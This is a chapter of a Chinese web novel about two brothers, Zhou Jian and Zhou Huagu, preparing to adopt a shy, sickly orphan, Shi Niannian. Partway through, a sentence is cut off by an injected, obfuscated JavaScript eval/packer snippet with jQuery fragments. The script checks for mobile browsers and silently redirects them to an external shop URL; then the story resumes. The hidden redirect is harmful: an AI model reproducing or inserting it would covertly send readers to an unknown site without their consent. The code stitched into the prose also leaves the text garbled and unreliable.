周见一路上都很沉默。
一直到医院门口才低低地问李叔:“年年会出事吗?”
李叔叹了口气,“年年只是着凉了。”
他其实不要太能理解自家小少为什么这么宝贝一个才见过几面的小孩,但看着周见惨白着脸,老人还是没忍住心颤了颤。
周见点了点头,失神地跟着重复着呢喃:他只是着凉了。
直到看到时年年小小一只蜷缩在老院长怀里,纤长浓密的睫毛耷拉着,在泛着些许青黑的眼窝投下一片阴影,漂亮的眉眼此时紧闭着,像是在做一场醒不过来的噩梦。
周见神回来了,心却像被绞起来一样,疼的他无所适从。
他帮不上任何忙,十岁的少年平生第一次露出迷茫的神色。
他不知道乖乖生病自己该怎么办,也不知道乖乖病好后自己要注意什么……他甚至都不知道乖乖接回来后他要怎样保证乖乖下次不会生病。
周见站在那里,突然觉得心里正在出现一个巨大的豁口,源源不断地吞噬掉他所有的自以为是。
老院长寸步不离地守在时年年身边,输液管滴滴答答输送着缓解的药物进入小孩体内,想着一会儿抱着孩子可能更不方便缴费,老院长便拜托隔壁带着孩子的父母看一会儿年年。
一颗心扑在年年反复无常的病情上的老院长,没有发现自己走后年年手上多了一串珠子。
周见回到家后便把自己关在了房间里。
李叔敲了好几次门都没得到回应,无奈之下只能给远在D国的周华故打去电话说明情况。
“我知道了,我会安排好行程回国去看他。”
周华故倒没有着急,挂断电话后静静地扫视着周见给他发来的保证书。
【承诺人:周见。
我会尽自己一切能力去学习照顾时年年,同时提升自己让周华故放心。】
很没头没脑的一句话,很符合周见想一出是一出的性格。
但让周华故意外的,是短短的承诺书后面跟着的计划表。
先是以天为单位的7月计划表,拉了两条时间线,一条是周见在学业上对周华故做出的承诺。
另一条是周见不知道从哪里搜罗出的《暖心育儿馆》《陪伴式养娃》《成长小美好》……
周见分门别列地罗列好,在计划里清晰了当地表示自己将在多少天内学习完一本。
甚至还安排了巩固复习的时间,彷佛在完成什么了不得的重大课题。
后面还有一长串以月或者年为单位的计划表,是时年年小朋友如果到家后,周见会为他做出哪些照顾和陪伴。
并括弧标注了一切只是暂时,因为自己还没有系统学习照顾小孩的知识,所以后面会根据学到的知识做出调整。
周华故倚在桌子上,想着自家混世魔王的样子,心里漂浮着异样的感觉。
【周华故:你怎么能确定时年年想要你这样的“家长”呢?】
【周见:我不确定,但时年年跟我在一起的时候应该是开心的。】
【周见:福利院的人说时年年亲情缘浅。】
【周见:我不能让别人保证不会抛弃时年年,所以我只能让我自己保证了。】
过了很久,那边传来一个语音,周华故点开,是周见郑重而郑重的声音。
语调平缓,语气却透露着紧张:
【周华故,我求求你了,你帮我把他接回来吧,时年年身体不好,我得要亲眼看着他长大才放心。】
周见小时候壮得倒是跟个牛一样,周华故突然出神的想。
周家父母离开得太早,周华故刚过二十就被迫接手了所有责任,偌大的公司、虎视眈眈的亲友还有嗷嗷待哺的弟弟。
外界的压力过分占据心神,自然而然的,分给年幼弟弟的那一部分便会少之又少。
等他摆平一切终于想起周见的时候,这个十岁的少年已经野蛮生长成现在的样子——
娇傲不驯、满不在乎,好像就打算这样大耍周家威风地过一辈子。
周华故本觉得这样也行,反正周家会以绝对的实力为他保驾护航一辈子。
但随着年龄渐长,周华故也意识到一个严重的问题。
这样长大的周见,太容易“崩塌”了。
就好像他与世界的联系就是周家还有一个身处高位的哥哥。
一旦这两者消失,那周见也会跟着消失。
这是周见第一次,主动的、迫切的,以一种渴望到异常的姿态,去寻求除了这两者之外与世界的联系。
后面所有的工作已经排满他的时间,但周华故依旧从犄角旮旯里找出空档。
总是要做一些必要的准备的。
比如说幼儿园的选择,还有家里的保姆不知道会不会做小孩子的食物,最好再额外招几个专业一点的营养师。
再比如说小孩的房间需要重新装修,要是提前装修小孩万一不喜欢怎么办。但等小孩到家之后按照他喜好装修的话,那新家具有甲醛怎么办?
虽然现在都是说什么绿色环保,但小孩用的东西还是得仔细点。
周华故越想眉头皱得越厉害,对照着周见发来的书目偷摸摸也下单了一套,半晌又觉得哪里不太对劲。
【周华故:但他好像即将是我儿子吧。】
【周华故:你还是摆摆正自己的地位吧。】
各项手续办的出奇的顺利,周家二字摆出来就是不可撼动的招牌,所有流程快的不可思议。
唯一的差错就是A市在8月初新竣工一处大型游乐园,周见越看越喜欢,想着是周家的产业周围还布满了自己的保镖,献宝似的背着时年年翻出墙垣狠狠体验了一把。
最后在旋转木马上人赃并获,喜提下午茶一份。
以至于周华故忙完手头上的事情,紧赶慢赶回国第一件事,就是登门致歉。
*
老院长大抵是实在没想到这个答案,脸上一阵五颜六色,最后硬挤出笑容,“那年年和周小少爷还挺有缘分的。”
周华故面无波澜,内心已经把研究家庭成员影不影响收养评估列为头等大事。
实在不行把周见扔出去先。
时年年探出个脑袋,东张西望,确认整个房间只有三个人之后,又把脑袋缩回了院长怀里。
周华故已经被他的小动作迷成单细胞生物,装模做样看了两眼时间,“午饭点快到了,我或许可以带着年年出去吃个便饭吗?”
老院长有些为难,正常情况来讲是没有问题的,就是担心小年年会有所排斥。
周华故立刻看出来对方的纠结,咬牙切齿开口:“周见会一起去哦。”
见鬼了,他居然有朝一日还得借周见的势!
老院长大骇:那更不靠谱了。
结果最先叛变的是怀里的小团子。
时年年“吧嗒”一下落在地上,腼腆地理了理自己有些皱巴的衣角,随后特别认真地看向周华故。
眼睛亮亮的,脸颊软软的,皮肤白白的。
宝宝,乖乖的。
周华故试探伸出右手放在时年年面前,“可以牵牵你的手吗?”
时年年心里有些突突的,他见到梦里没出现过的陌生人时,第一反应总是逃避。
毕竟会被“漠视”或者“嫌弃”,让小孩一个人在原地难过好久好久。
时年年很害怕那种感觉,四岁的小孩无法理解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444227|201079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世界为什么会这么奇怪,最大的解决方法只有怀疑自己。
周华故没有出现在梦里过,时年年很担心院长一走开,这个叔叔就会和之前说着喜欢他、要带他回家的“爸爸妈妈”一样,突然说不要他了。
那他又要一个人偷偷难过好久。
周华故送出去的手没有被接纳,孤零零地立在那。
他也没着急,也没把手收回来,只是小心翼翼地蹲下凑近。
小孩纤长的睫毛在他眼前轻颤,微垂着脑袋丧丧地不知道在想什么,抿着嘴的样子有些可怜兮兮的。
周华故觉得心里像被羽毛佛过,轻轻柔柔地不知道该做出什么反应,过了半晌才轻轻呢喃:“我是爸爸呀。”
那声音很轻,像是化在了风中,留了个尾巴飘然地落在小孩的耳朵里。
耳朵尖尖泛起红晕,时年年在心里嘟嘟囔囔。
他说他是爸爸欸。
小孩歪着脑袋悄悄抬眼,正巧撞上周华故学着他的样子歪着头看他。
他有些害羞了。
时年年抿着下嘴唇,犹豫了一下,将攥在身侧的小手慢慢抬起来。
周华故眼睛一亮,盯着白白嫩嫩的小手逐渐将要覆上自己的手。
“砰!”
会客室大门被一掌劈开。
少年身边像是带风,卷着火烧火燎的气氛就往这里冲来,“怎么说怎么说,今天能把乖乖带走吗?”
周见还没站定,看着时年年蓬松的鸡窝头直接冲上来一把兜住。
周华故压根没接触到软软的小手,甚至还没来得及反应到底发生什么,就看见心心念念的小宝贝像个导弹一样被抛起又旋转,最后落入周见手中。
坏了他好事的人还一点都不自觉,托着时年年嘀嘀咕咕:“是他们吵醒的你,不是我啊不是我。”
好不容易休假,结果被大清早拉起来看孩子的周华故:“……”
门外的蝴蝶飘然落在池塘盛开的水莲上,花瓣颤了颤却是稳稳拖住,甚至没给河面带来半分涟漪。
半大的少年悠然地抱着乖乖窝在怀里的小孩,感觉自己手里抱着一只香喷喷的小鸡仔。
这也软那也软,让周见都不敢用力。
“最近想我没?”
自从“喝过一次茶”后,周见就不大找得到机会翻墙进福利院了,他吃不好睡不好,生怕时年年像李叔说得那样把自己给忘了。
时年年扒着周见脖子,有点急,“我要掉下去了。”
周见连忙哦哦了两声,把小孩往上颠了颠。
时年年好不容易坐稳,有点腼腆地说实话:“还好呢,我抱着兔子睡觉不会做噩梦。”
睡得好吃得香,连电视机都不会欺负他天天雪花屏了。
四岁的小孩第一次感受到正常人的生活,兴高采烈了好长时间,别说周见了,周不见他都不太能顾得上。
周见脸一下子就臭了。
但下一秒又被哄好。
时年年挺直小身板,凑到他耳边说悄悄话,“虽然兔子抱着有些膈手,但我可喜欢啦。”
莲藕一样白嫩的小腿有些开心地晃了晃,时年年头上的呆毛茁壮向上,“因为是你送的。”
小孩特有的声调糯糯的,语调无意识地上扬,像极了撒娇。
周见感觉自己要飘起来了。
乖乖软着嗓子跟他说这么多悄悄话,每个字都像小锤子一样,让他心肝砰砰的,稀罕得不行。
斗志昂扬的少年一个劲往外冲,嘴上不停叭叭说要带年年吃大餐,把还在和老院长寒暄的周华故远远扔在屁股后面。
周华故跟老院长寒暄完一回头,发现两只小的都不见了,顿时被气笑了。